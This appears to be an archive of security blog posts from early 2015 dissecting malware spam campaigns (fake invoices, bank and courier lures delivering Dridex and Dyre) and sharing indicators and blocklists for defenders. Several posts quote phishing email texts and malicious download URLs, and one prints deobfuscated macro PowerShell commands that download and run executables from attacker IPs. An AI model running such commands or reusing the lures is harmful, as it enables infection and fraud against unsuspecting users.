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Thursday, 12 February 2015

Malware spam: "BBB Accreditation Services [no-replay@newyork.bbb.org]" / "BBB SBQ Form"

This fake BBB email has a malicious attachment.

From: BBB Accreditation Services [no-replay@newyork.bbb.org]
Date: Thu, 12 Feb 2015 10:50:01 +0000
Subject: BBB SBQ Form
Thank you for supporting your Better Business Bureau (BBB).

As a service to BBB Accredited Businesses, we try to ensure that the information we provide to potential customers is as accurate as possible. In order for us to provide the correct information to the public, we ask that you review the information that we have on file for your company.

We encourage you to print this SBQ Form, answer the questions and respond to us. (Adobe PDF)


Please look carefully at your telephone and fax numbers on this sheet, and let us know any and all numbers used for your business (including 800, 900, rollover, and remote call forwarding). Our automated system is driven by telephone/fax numbers, so having accurate information is critical for consumers to find information about your business easily.

Thank you again for your support, and we look forward to receiving this updated information.

Sincerely,

Accreditation Services

Attached is a file SQB Form.zip which contains a malicious executable SQB Form.exe. This has a VirusTotal detection rate of 4/57. Automated analysis tools [1] [2] [3] [4] show that attempts to connect to these following legitimate IPs and domains to determine the IP address and current time:


134.170.185.211
time.microsoft.akadns.net
checkip.dyndns.org

Of these, checkip.dyndns.org is worth monitoring as it is often an indicator of infection.

The Anubis report also shows a DNS query to semiyun.com on 95.173.170.227  (Netinternet, Turkey). Also the Malwr report shows connections to the following URLs:

http://92.240.99.70:12112/1202uk11/HOME/0/51-SP:/0/ELHBEDIBEHGBEHK
http://92.240.99.70:12112/1202uk11/HOME/41/7/4/
http://semiyun.com/mandoc/previewa.pdf


Of these, 92.240.99.70 (Ukrainian High Technologies Ltd, Ukraine) looks like the C&C server and this should definitely be blocked.

A file jeoQxZ5.exe is also dropped with a detection rate of 6/57. This is most likely the Dyre banking trojan. Samples can be found here, password is infected.

Malware spam: "Minuteman Press West Loop" / "westloop@minutemanpress.com" / "INVOICE 1398 - FEB 4 2015"

This fake invoice comes with a malicious attachment. It does not come from Minuteman Press, their systems have not been compromised in any way. Instead this is a simple email forgery.

From:    Minuteman Press West Loop [westloop@minutemanpress.com]
Reply-To:    westloop@minutemanpress.com
Date:    12 February 2015 at 09:00
Subject:    INVOICE 1398 - FEB 4 2015

(Please see attached file: INVOICE 1398 - FEB 4 2015.DOC)

Thank you for your business.

Julio Lopez  |  Design Manager  |  Minuteman Press West Loop
1326 W. Washington Blvd.  |  Chicago, IL 60607
p 312.291.8966  |  f 312.929.2472  |
I have seen just a single sample with an attachment INVOICE 1398 - FEB 4 2015.doc, although usually there are two or more variants so you may see slightly different ones. The DOC file has a VirusTotal detection rate of 0/57  and contains this malicious macro which downloads a second component from:

http://ecinteriordesign.com/js/bin.exe

This is then saved as %TEMP%\\IHJfffFF.exe and has a detection rate of 7/57. Automated analysis tools [1] [2] [3] show attempted connections to:

37.139.47.105
78.140.164.160
41.56.49.36
104.232.34.68
210.181.222.118

The Malwr report shows that it drops a DLL with an MD5 of 9001023d93beccd6c28ba67cbbc10cec which had a low detection rate at VT when it was checked a couple of hours ago.



Wednesday, 11 February 2015

Malware spam: "Gail Walker [gail@mblseminars.com]" / "Outstanding Invoice 271741"

This fake invoice does NOT comes from MBL Seminars, they are not sending this spam nor have their systems been compromised. Instead, this is a forgery with a malicious attachment.
From:    Gail Walker [gail@mblseminars.com]
Date:    11 February 2015 at 09:52
Subject:    Outstanding Invoice 271741

Dear Customer

Payment for your Season Ticket was due by 31 January 2015 and has not yet been received. A copy of the invoice is attached.

By way of a reminder, the Season Ticket entitles all members of your organisation to save up to 50% on our public seminars and webinars. Since being a Season Ticket Holder your organisation has saved £728.50.

Please arrange for payment by return by BACS, cheque, or credit card. If payment has been arranged and just not reached us yet then please ignore this email.

If you have any queries, please do not hesitate to contact us.

Regards

Gail Walker

MBL (Seminars) Limited

The Mill House
6 Worsley Road
Worsley
Manchester
United Kingdom
M28 2NL

Tel: +44 (0)161 793 0984
Fax: +44 (0)161 728 8139
So far I have seen two different malicious Word documents (there may be more) with low detection rates [1] [2] containing a different macro each [1] [2]. These download a component from the following locations:

http://www.rapidappliances.co.uk/js/bin.exe
http://translatorswithoutborders.com/js/bin.exe

This file is saves as %TEMP%\dsHHH.exe. It has a VirusTotal detection rate of 10/57. Automated analysis tools [1] [2] [3] show attempted connections to the following IPs:

37.139.47.105 (Comfortel, Russia)
5.39.99.18 (OVH, France / Olga Borodynya, Russia)
136.243.237.218 (Hetzner, Germany)
66.110.179.66 (Microtech Tel, US)
78.140.164.160 (Webazilla, Netherlands / Fozzy Inc, US)
109.234.38.70 (Mchost, Russia)

The Malwr report suggests an attempt to connect to these nonexistent domains:

U1Q6nUgvQfsx4xDu.com
bpmIYYreSPwa7.com
zdMjztmwoDX7cD.com

It also drops a DLL with a detection rate of 3/57 which is probably Dridex.

Recommended blocklist:
37.139.47.105
5.39.99.18
136.243.237.218
66.110.179.66
78.140.164.160
109.234.38.70


For researchers, a copy of the files can be found here. Password is infected.

UPDATE 2015-02-12

Another spam run is under way, with the same text but two different DOC files with zero detections [1] [2] containing one of two malicious macros [1] [2] that download another component from one of the following locations:

http://advancedheattreat.com/js/bin.exe
http://ecinteriordesign.com/js/bin.exe

The payload appears to be the same as the one used in this spam run.

Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal
Date:    11 February 2015 at 09:14
Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.
The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC

Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 

Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND

Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC


The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159

78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

(Note, for researchers only a copy of the files can be found here, password=infected)

Tuesday, 10 February 2015

Malware spam: "Megtrade groups [venkianch@gmail.com]" / "RE: Purchase Order Copy"

This spam comes with a malicious attachment:

From:    Megtrade groups [venkianch@gmail.com]
Reply-To:    venkanch@gmail.com
Date:    10 February 2015 at 15:47
Subject:    RE: Purchase Order Copy

Hello Vendor,

I just got back from business trip, Please find attached our purchasing order let us know price so as to confirm sample with your company.

You give us your payment terms but note our company payment policy 30% prepayment after confirming proforma invoice from you and the balance against copy of B/L.

Kindly treat as urgent and send invoice, I await to have your urgent reply to proceed.

Thanks & Best regards,
Mr Venkianch
Managing Director
NZ Megtrade Groups Ltd

​​







Download Attachment As zip
Unusually, this email does not appear to be sent out by a botnet but has been sent through Gmail. The link in the email goes www.ebayonline.com.ng/download/ohafi/jfred/Purchase%20Order%20Copy_pdf.7z where it downloads a file Purchase Order Copy_pdf.7z  which (if you have 7-Zip installed) uncompresses to the trickily-named (1) Purchase Order Copy.pdf    ___________________   (2) Delivery Time and Packing.pdf    _______________________    _____ Adobe Reader.pdf or in    .exe

As you might expect, this is malicious in nature and has a VirusTotal detection rate of 34/57. The Malwr analysis indicates that this installs a keylogger among other things.

Friday, 6 February 2015

Something evil on 5.196.143.0/28 and 5.196.141.24/29 (verelox.com)

This quite interesting blog post from Cyphort got me digging into that part of the infection chain using nonsense .eu domains. It uncovered a whole series of IPs and domains that have been used to spread Cryptowall (possibly other malware too), hosted in the 5.196.143.0/28 and 5.196.141.24/29 ranges (and possibly more).

These are OVH IP ranges, suballocated to a customer called Verelox.com. I think that Verelox is a legitimate but very small web host that has suffered a major compromise of their servers.

The first range is 5.196.141.24/29 which has apparently compromised servers at:
 
5.196.141.24
5.196.141.25
5.196.141.26
5.196.141.27

..you can see a dump of probably evil domains in this pastebin. The second range is 5.196.143.0/28 with apparently compromised servers at:

5.196.143.3
5.196.143.4
5.196.143.5
5.196.143.6
5.196.143.7
5.196.143.8
5.196.143.10
5.196.143.11
5.196.143.12
5.196.143.13

..you can see a list of those domains in this pastebin

Registration details of the domains vary, including some that use the somewhat amusing email address reach4keys@gmail.com. Some of the .eu domains and the .xyz domains have contact details as follows:

Registrant ID: INTE54fjkzffmcv1
Registrant Name: Ramil Jamaletdinov
Registrant Organization:
Registrant Street: Bolshaya str, 15, kv.12
Registrant City: Moscow
Registrant State/Province:
Registrant Postal Code: 105553
Registrant Country: RU
Registrant Phone: +7.90988766754
Registrant Phone Ext:
Registrant Fax: +7.
Registrant Fax Ext:
Registrant Email: jramil889@gmail.com


I don't know if this person actually exists or indeed has anything to do with this, all searches come up blank.

In addition to this, some of these domains use nameservers on the following IP addresses:

168.235.70.106
168.235.69.219


These are allocated to Ramnode LLC in the US. I would suggest that they are under the control of the bad guys and are worth blocking traffic to.

Note that Cyphort identift these C&C servers for the malware:
asthalproperties.com:4444
pratikconsultancy.com:8080

The following IPs and domain names all seem to be connected and I would recommend blocking at least the IP addresses and domains in bold (the other domains look like they are probably throwaway ones):

5.196.143.0/28
5.196.141.24/29
168.235.69.219
168.235.70.106

asthalproperties.com
pratikconsultancy.com

2hk7.eu
8m3a.eu
aaawq1.eu
aaawq2.eu
aaawq3.eu
asoooe1.eu
asoooe2.eu
asoooe3.eu
asw1.eu
asw2.eu
asw3.eu
bilipa.eu
bimbino.eu
bindarov.eu
c4c7.eu
cemtro3.eu
demotikvk.eu
dnor1.eu
dnor2.eu
dnor3.eu
efrai1.eu
efrai2.eu
fesvom.eu
fliston.eu
g19f.eu
gerww3.eu
giuyt5.eu
giuyt6.eu
grannu1.eu
gremn2.eu
gremn3.eu
gyyf.eu
happer1.eu
happer2.eu
happer3.eu
happer4.eu
happer5.eu
happer6.eu
hewoq5.eu
hewoq6.eu
hrt1.eu
hrt2.eu
huayolo.eu
joybul.eu
kalinda.eu
manike.eu
nicjaa5.eu
nicjaa6.eu
ponrel.eu
sindy5.eu
slanecom.eu
slawq2.eu
solonecem.eu
timona.eu
volosq.eu
vvyyyx.eu
kreni.xyz
slanecom.xyz
solonecem.xyz



Thursday, 5 February 2015

Malware spam: "Unable to deliver your item, #000022074" / "FedEx 2Day A.M"

This fake FedEx spam has a malicious script attached.

From:    FedEx 2Day A.M.
Date:    5 February 2015 at 15:01
Subject:    PETRO, Unable to deliver your item, #0000220741

FedEx ®
Dear Petro,

We could not deliver your item.
You can review complete details of your order in the find attached.

Yours sincerely,
Marion Bacon,
Delivery Manager.
(C) 2014 FedEx. The content of this message is protected by copyright and trademark laws. All rights reserved.
Attached is a file FedEx_0000220741.zip which contains a malicious javascript which is highly obfuscated [pastebin] but it is a bit clearer when deobfuscated [pastebin]. This script has a moderate detection rate of 9/56, and downloads a file from:
http://freesmsmantra.com/document.php?id=5451565E140110160B0824140110160B08000D160107104A070B09&rnd=3252631
Which is saved as %TEMP%\11827407.exe. This has a low detection rate of 3/56. Automated analysis tools [1] [2] [3] don't give much of a clue as it has been hardened against analysis.

UPDATE: This tweet gives a bit more insight into the malware..
The malware dropped seems to be Boaxxe/miuref: ET TROJAN Miuref/Boaxxe Checkin {TCP} -> 91.231.87.90:80
So, I would definitely recommend blocking 91.231.87.90 and also the domain coldserv24.com which is hosted on that server and may be malicious.


xxx

Wednesday, 4 February 2015

Infographic: Operation Yewtree vs Operation Fernbridge arrests

Two broadly equivalent investigations into child abuse rings, Operation Yewtree and Operation Fernbridge have had very different outcomes.

Yewtree has seen arrests of several high-profile people involved in the media, the majority of whom have not been found guilty of anything. But the rumoured suspects in Fernbridge include politicians, civil servants, judges and leaders of industry as well as a pop star or two. Why are the current outcomes looking so different?

(an earlier version of this infographic was published in July 2014)

Tuesday, 3 February 2015

Malware spam: "Circor [_CIG-EDI@circor.com]" / "CIT Inv# 15000375 for PO# SP14161"

This fake finance spam pretends to be from the wholly legitimate firm Circor, but it is not. Instead, it is a forgery with a malicious Word document attached.

From:    Circor [_CIG-EDI@circor.com]
Date:    3 February 2015 at 09:56
Subject:    CIT Inv# 15000375 for PO# SP14161

Please do not respond to this email address.  For questions/inquires, please
contact our Accounts Receivable Department.


______________________________________________________________________
This email has been scanned by the MessageLabs outbound
Email Security System for CIRCOR International Inc.
For more information please visit http://www.symanteccloud.com
______________________________________________________________________
Don't be fooled by the email signature, the attachment is definitely nasty. So far I have only seen one version with a detection rate of 4/55, which contains a malicious macro [pastebin] that downloads a component from:

http://gloo.ng/js/bin.exe

..which is then saved as %TEMP%\\dsfsdf.exe. This has a VirusTotal detection rate of 3/48 (it is identified as a Dridex component). According to the Malwr report, this phones home to a couple of IPs that I haven't seen before:

143.107.17.183 (Universidade De Sao Paulo, Brazil)
92.63.88.108 (MWTV SIA, Latvia)

It also drops a DLL with a detection rate of 3/56.

Recommended blocklist:
143.107.17.183
92.63.88.108

Friday, 30 January 2015

Malware spam: "BACS Transfer : Remittance for.."

So far I have only seen one sample of this..

From     "Garth Hutchison"
Date     21/01/2015 11:50
Subject     BACS Transfer : Remittance for JSAG400GBP

We have arranged a BACS transfer to your bank for the following amount : 5821.00
Please find details attached.

Attached is a malicious Word document BACS_transfer_JS87123781237.doc [VT 1/57] which contains a macro [pastebin] which downloads a file from:

http://stylishseychelles.com/js/bin.exe

This is then saved as %TEMP%\iHGdsf.exe. This has a VirusTotal detection rate of 6/57 identifying it as a Dridex downloaded. You can see the Malwr report here.

Sources indicate that this malware phones home to the following IPs which I recommend you block:

92.63.88.108
143.107.17.183
5.39.99.18
136.243.237.218

Tuesday, 27 January 2015

Malware spam: "Eileen Meade" / "R. Kern Engineering & Mfg Corp."

Kern Engineering & Mfg Corp. is a wholly legitimate firm, they are not sending out this spam nor have their systems been compromised in any way. Instead, this is a forgery which has a malicious Word document attached.

From:    Eileen Meade [eileenmeade@kerneng.com]
date:    27 January 2015 at 08:25
subject:    inv.# 35261

  Here is your invoice & Credit Card Receipt.


 Eileen Meade
 R. Kern Engineering & Mfg Corp.
Accounting
909) 664-2442
Fax 909) 664-2116
So far, I have seen two different version of the Word document, both poorly detected [1] [2] containing two different macros [1] [2]. These attempt to download a binary from one of the following locations:

http://UKR-TECHTRAININGDOMAIN.COM/js/bin.exe
http://schreinerei-ismer.homepage.t-online.de/js/bin.exe

This is saved as %TEMP%\sdfsdferfwe.exe. It has a VirusTotal detection rate of 3/57. Automated analysis tools are inconclusive [1] [2] [3].

Monday, 26 January 2015

Very lazy Walmart raffle ticket scam spam

Sometimes I see some very sophisticated scams with lovely websites and a credible and convincing pitch to snare the unwary. This isn't one of those, but it is a remarkably lazy piece of crap instead.

From:    Walmart [clarkscott75875@gmail.com]
Reply-To:    mrwilliamm234@gmail.com
Date:    26 January 2015 at 17:23
Subject:    Walmart


Walmart,

This is to announce to the Public that the Wal-Mart Stores, Inc., have
started selling raffle ticket for the 2015 with the effect from today
been 1/26/2015, for more inquiries, contact our Publicity Department
below:

Wal-Mart Public Department
E-mail: publicityonwalmart@publicist.com
                 or
Mr. William Morgan
E-mail: mrwilliamm234@gmail.com

You will be directed on what to do to pick your form

Thanking you In Advance
Dennis Harrison
Walmart, Arkansas USA
I've heard it said that the scammers deliberately choose really stupid scams that only an idiot would fall for.. in order to filter out all those people who aren't idiots. So perhaps there is a point to all this half-arsed crappiness after all.

Malware spam: "CardsOnLine@natwesti.com" / "Cards OnLine E-Statement E-Mail Notification"

This fake NatWest email leads to malware:

From:    CardsOnLine [CardsOnLine@natwesti.com]
Date:    26 January 2015 at 13:06
Subject:    Cards OnLine E-Statement E-Mail Notification

Body:

Dear Customer

Your July 30, 2014 E-Statement for account number xxxxxxxxxxxx6956 from Cards OnLine is now available.

For more information please check link: http://afreshperspective.com/NATWEST_BANK-MESSAGES-STORAGE/new.secured_document.html

Thank you
Cards OnLine


Many internet users have recently been targeted through bogus E-Mails by fraudsters claiming to be from their bank. These E-Mails ask customers to provide their internet banking security details in order to reactivate their account or verify an E-Mail address.

Please be on your guard against E-Mails that request any of your security details. If you receive an e-mail like this you must not respond.

Please remember that, for security reasons, apart from when you create them at registration or when you change your Internet Pin or Password, we will only ever ask you to enter random characters from your Internet PIN and Password when you logon to this service.

You must keep your security details secret. We would never ask you, by E-Mail, to enter (or record) these details in full and you must not respond to E-Mails asking for this information.

National Westminster Bank Plc, Registered in England No 929027. Registered
Office: 135 Bishopsgate, London EC2M 3UR. Authorised and regulated by the Financial Services Authority.

This E-Mail message is confidential and for use by the addressee only. If the message is received by anyone other than the addressee, please return the message to the sender by replying to it and then delete the message from your computer. Internet E-Mails are not necessarily secure. National Westminster Bank Plc does not accept responsibility for changes made to this message after it was sent.

Whilst all reasonable care has been taken to avoid the transmission of viruses, it is the responsibility of the recipient to ensure that the onward transmission, opening or use of this message and any attachments will not adversely affect its systems or data. No responsibility is accepted by National Westminster Bank Plc in this regard and the recipient should carry out such virus and other checks as it considers appropriate.
Users who click the link see a download page similar to this:


The link in the email downloads a randomly-named file in the format security_notice55838.zip which contains a malicious binary which will have a name similar to security_notice18074.exe.

This binary has a VirusTotal detection rate of 1/56 and is identified by Norman AV as Upatre. Automated analysis tools are not particularly enlightening [1] [2].

Malware spam: "HP Digital Device" / "Scanned Image"

This spam comes with a malicious attachment:

From:    HP Digital Device [HP_Printer@victimdomain.com]
Date:    26 January 2015 at 13:04
Subject:    Scanned Image


Please open the attached document.
This document was digitally sent to you using an HP Digital Sending device.

-------------------------------------------------------------------------------
This email has been scanned for viruses and spam.
-------------------------------------------------------------------------------
Attached is a file ScannedImage.zip which contains a malicious executable ScannedImage.scr which has a VirusTotal detection rate of 5/56, you can see various automated analyses here: [1] [2] [3]

Malware spam: "Berendsen UK Ltd Invoice 60020918 117" / "donotreply@berendsen.co.uk"

UPDATE: a new spam run using this firm's name is active as of 24th February. For more information click here.

Berendsen is a wholly legitimate firm in the textiles and laundry business. They are not sending out this spam, nor have their systems been compromised in any way. Instead, this email is a forgery with a malicious Word document attached.

From:    donotreply@berendsen.co.uk
Date:    26 January 2015 at 06:43
Subject:    Berendsen UK Ltd Invoice 60020918 117

Dear Sir/Madam,

Please find attached your invoice dated 1st January.
All queries should be directed to your branch that provides the service. This detail can be found on your invoice.


Thank you.

___________________________________________________________
This e-mail and any attachments it may contain is confidential and
intended for the use of the named addressee(s) only. If you are not
the intended recipient, you have received it in error, please
immediately contact the sender and delete the material from your
computer system. You must not copy, print, use or disclose its
contents to any person. All e-mails are monitored for traffic data and
the content for security purposes.

Berendsen UK Ltd, part of the Berendsen plc Group.
Registered Office: 4 Grosvenor Place, London, SW1X 7DL.
Registered in England No. 228604
Attached is a malicious Word document with a zero detection rate which contains a malicious macro [pastebin], and this in turn downloads a binary from:

http://elektromarket.cba.pl/js/bin.exe

This executable is saved as %TEMP%\LAVUBDAJLCD.exe and has a VirusTotal detection rate of 2/57 (Norman AV identified it as Dridex).

Automated analysis [1] [2] [3] [4] is proving difficult, a contact suggests that Botnet 125 (which is behind this spam run) is having stability problems. Shame.

Friday, 23 January 2015

Malware spam: "You have received a new secure message from BankLine"

For some reason these RBS BankLine spam messages are a popular mechanism for the bad guys to spread malware.

From:    Bankline [secure.message@rbs.com.uk]
Date:    23 January 2015 at 12:43
Subject:    You have received a new secure message from BankLine

You have received a secure message.

Read your secure message by following the link bellow:

http://donumyok.com/RBS-DATA.STORAGE/personal.document.html

----------------
You will be prompted to open (view) the file or save (download) it to your computer. For best results, save the file first, then open it.

If you have concerns about the validity of this message, please contact the sender directly.
For questions please contact the Bankline Bank Secure Email Help Desk at 0131 556 3513.
The link in the email seems to be somewhat dynamic, as I have also seen this slightly different variant of:

http://donumyok.com/RBS_BANK-ONLINE_SECURE_STORAGE/receive.personal-document.html

The landing page looks like this:


The link on that landing page goes to http://animation-1.com/js/jquery-1.41.15.js?get_message which downloads a ZIP file called Bankline_document_pdf71274.zip (or something similar) containing an executable file named something like Bankline_document_pdf24372.exe. The numbers change in each case, and indeed the executable changes slightly every time it is downloaded.

The ThreatExpert report shows that it attempt to communicate with the well-known-bad-IP of 202.153.35.133 (Excell Media Pvt Ltd, India) which is associated with the Dyre banking trojan.

Malware spam: "IRS Fiscal Activity 531065" / "support@irsuk.co"

This fake IRS spam actually does use the irsuk.co domain to host malware.

From:    IRS [support@irsuk.co]
Date:    23 January 2015 at 11:46
Subject:    IRS Fiscal Activity 531065

Hello, [redacted].

We notify you that last year, according to the estimates of tax taxation,
we had a shortage of means.
We ask you to install the special program with new digital certificates,
what to eliminate an error.

To install the program go to the link above:
http://irsuk.co/DownloadIRSService/SetupIRS2015.zip


Thanks
Intrenal Revenue Sevrice
London W1K 6AH
United Kingdom
The ZIP file contains a malicious executable SetupIRS2015.exe  which has a VirusTotal detection rate of 8/53. The irsuk.co site is hosted on 89.108.88.9 (Agava Ltd, Russia). The Malwr report shows it phoning home to garbux.com (78.24.219.6 - TheFirst-RU, Russia)

The WHOIS details for the domain are almost definitely fake, but kind of interesting..

Registrant ID:               CR185450554
Registrant Name:             Thomas McCaffrey
Registrant Organization:     Real Help Communications, Inc.
Registrant Address1:         3023 Anzac Avenue
Registrant City:             Roslyn
Registrant State/Province:   Pennsylvania
Registrant Postal Code:      19001
Registrant Country:          United States
Registrant Country Code:     US
Registrant Phone Number:     +1.2158872818
Registrant Email:            tom@realhelp.net


They're interesting because these really are the valid contact details for Real Help Communcations, Inc which makes me wonder if their domain account at GoDaddy has been compromised.

A look at 89.108.88.9 shows there is only one active website on that IP address (irsuk.co) , but the host on the IP identifies itself as ukirsgov.com which is a domain created on the same day (2015-01-19) but has been suspended due to invalid WHOIS details (somebody at csc.com), which was hosted on a Bosnian IP of 109.105.193.99 (Team Consulting d.o.o.).That IP is identified as malicious by VirusTotal with a number of bad domains and binaries.

The malware POSTS to garbux.com which Sophos identifies as a characteristic of the generically-named Troj/Agent-ALHF.

Overall, automated analysis tools are not very clear about what this malware does [1] [2] [3] [4] [5] although you can guarantee it is nothing good.

Recommended blocklist:
89.108.88.9
78.24.219.6
109.105.193.99
irsuk.co
garbux.com
ukirsgov.com
updateimage.ru
getimgdcenter.ru
agensiaentrate.it
freeimagehost.ru




Malware spam: "2014 Tax payment issue" / "Your tax return was incorrectly filled out"

This tax-themed spam has a malicious Word document attached. It appears to come in several variants, for example:

From:    Quinton
Date:    23 January 2015 at 08:18
Subject:    2014 Tax payment issue

According to your tax payments for 2014 year period we found that you gave a wrong legal address in your last tax payment. In order to avoid penalty fees on your tax dues we ask you to contact our specialist having checked the previous payment in advance (the DOC invoice attached below).

Regards
Quinton
Tax Inspector

-----------------

From:    Tara Morris
Date:    23 January 2015 at 09:28
Subject:    Your tax return was incorrectly filled out

Attention: Accountant

This is to inform you that your legal address was filled incorrectly while completing the last tax form application for 2014 year.
In order to avoid penalty fees during the next tax period please contact our expert as soon as you check the payment details (the DOC invoice attached below).
Attached is a Word document with a random name, but always starting with "TAX_". Examples include:

TAX_42592OE.doc
TAX_381694AI.doc
TAX_59582FZ.doc

There are two different variants of this Word document that I have seen so far, neither are detected by AV vendors [1] [2] containing one of two malicious macros [1] [2] that download a file 20.exe from the following URLs:

http://37.139.47.221:8080/koh/mui.php
http://95.163.121.82:8080/koh/mui.php


This file is then saved to %TEMP%\GYHjksdf.exe and has a low detection rate of 2/56 (Norman AV identifies it as Dridex). The Malwr analysis is inconclusive, other analysis is pending.


Thursday, 22 January 2015

Yet more MyFax malware spam

There's another batch of "MyFax" spam going around at the moment, for example:

From:    MyFax [no-replay@my-fax.com]
Date:    22 January 2015 at 15:08
Subject:    Fax #4356342

Fax message

http://[redacted]/.-NEW_RECEIVED.FAX/fax.html
Sent date: Thu, 22 Jan 2015 15:08:30 +0000
Clicking the link leads to a page like this:


The download leads to an EXE-in-ZIP download which is a little different every time [1] [2] [3] [virustotal]. Detection rates are around 6/55.

The Malwr report shows communication with the following URLs:

http://202.153.35.133:51025/2201us22/HOME/0/51-SP3/0/
http://202.153.35.133:51025/2201us22/HOME/1/0/0/
http://when-to-change-oil.com/mandoc/story_su22.pdf
http://202.153.35.133:51014/2201us22/HOME/41/7/4/


Of these 202.153.35.133 is the essential one to block traffic to, belonging to Excell Media Pvt Ltd in India. A file axybT95.exe is also dropped according to the report, which has a detection rate of 7/48.

I haven't seen a huge number of these, the format of the URLs looks something like this:
http://[redacted]/.-NEW_RECEIVED.FAX/fax.html
http://[redacted]/NEW_FAX-MESSAGES/fax.letter.html
http://[redacted]/_~NEW.FAX.MESSAGES/incoming.html


Wednesday, 21 January 2015

"Hartford Tech Summit" aka BizSummits: What's wrong with this picture? (hartfordsummit.com / hartfordsummit.org)

Last year I called out serial spammers BizSummits for their use of stolen photographs that they were attempting to pass off as activities at one of those summits.

A comment on one of the posts indicates that BizSummits are suffering from a degree of butthurt because of this.

Hi Conrad, we just received an autonotice about the comment from Claire Le and were again hoping you would consider archiving/mothballing it because readers see the misleading title which is why the commenter incorrectly surmised BizSummits is a fake after reading it. I think you know it is not, we are glad to immediately make you a member of one of the groups if wished so you can login and watch/listen to hundreds of past meetings (impossible if it were really a fake), and we are also glad to cover your airfare from the UK if you wish to attend any of the in-person events (next on the schedule is the HartfordSummit.com in a few weeks and then a series in Chicago in April including a CIO roundtable you might have interest in attending). Thank you for your consideration. 
 HartfordSummit.com? That's a new one on me. Let's head over to that website.


If you read my previous post on these folks, you might guess where this is going.

Now, bearing in mind the cringing embarrassment they must have felt when I pointed out that all the photos on their sites were of something else entirely, you would expect that they'd use a genuine photograph of one of their summits. I mean, everyone has a digital camera, right? It would be hard to avoid taking a photograph of one of these summits. And they have so many of them.

Let's have a closer look at that photo (http://loadurl.org/hartfordsummit/images/whatsnew.jpg)

It certainly looks like a seminar or summit. But let's see what a Google Reverse Image Search says..


It guesses that this is a picture of "business seminars" and reveals that the same photo is in use on many different sites. And in fact, you just need to do a Google image search for "Seminars" and it turns up in a prominent position.


So now we need some detective work, the original image doesn't appear to be online but I can find a slightly higher resolution one.


There's an interesting sign on the wall..


"The Ivy Review" it says. That matches pretty closely with a photo from ivycenters.com which has a very similar photograph.



This photograph was taken in the Santa Clara Convention centre. That's about 3000 miles from Hartford, but that's not really the point. The point is that this appears to be the photograph of a completely different convention from a completely different organisation. It is certainly a commonly used picture for "seminars" that people paste in when they haven't actually got a picture.

In fact, I have never seen a verifiable photo of any BizSummits event. Perhaps I am looking in the wrong place. Perhaps someone needs to buy BizSummits a digital camera. Draw your own conclusions.

As for a free trip to Connecticut to see BizSummits in action. Yeah, I think I'll pass on that offer.

Tuesday, 20 January 2015

Malware spam: "Barclays - Important Update, read carefully!" / "Barclays Online Bank [security-update@barclays.com]"

This fake Barclays spam leads to malware.

From:    Barclays Online Bank [security-update@barclays.com]
Date:    20 January 2015 at 14:41
Subject:    Barclays - Important Update, read carefully!

Dear Customer,

Protecting the privacy of your online banking access and personal information are our primary concern.

During the last complains because of online fraud we were forced to upgrade our security measures.

We believe that Invention of security measures is the best way to beat online fraud.

Barclays Bank have employed some industrial leading models to start performing an extra security check with Your Online Banking Activities to ensure a safe and secure Online and Mobile Banking.

For security reasons we downloaded the Update Form to security Barclays webserver.

You are requested to follow the provided steps and Update Your Online Banking details, for the safety of Your Accounts.

- Please download and complete the form with the requested details:  http://fizza.ro/BARCLAYS~ONLINE.BANKING~UPDATE/update.html

- Fill in all required fields with your accurately details (otherwise will lead to service suspension)

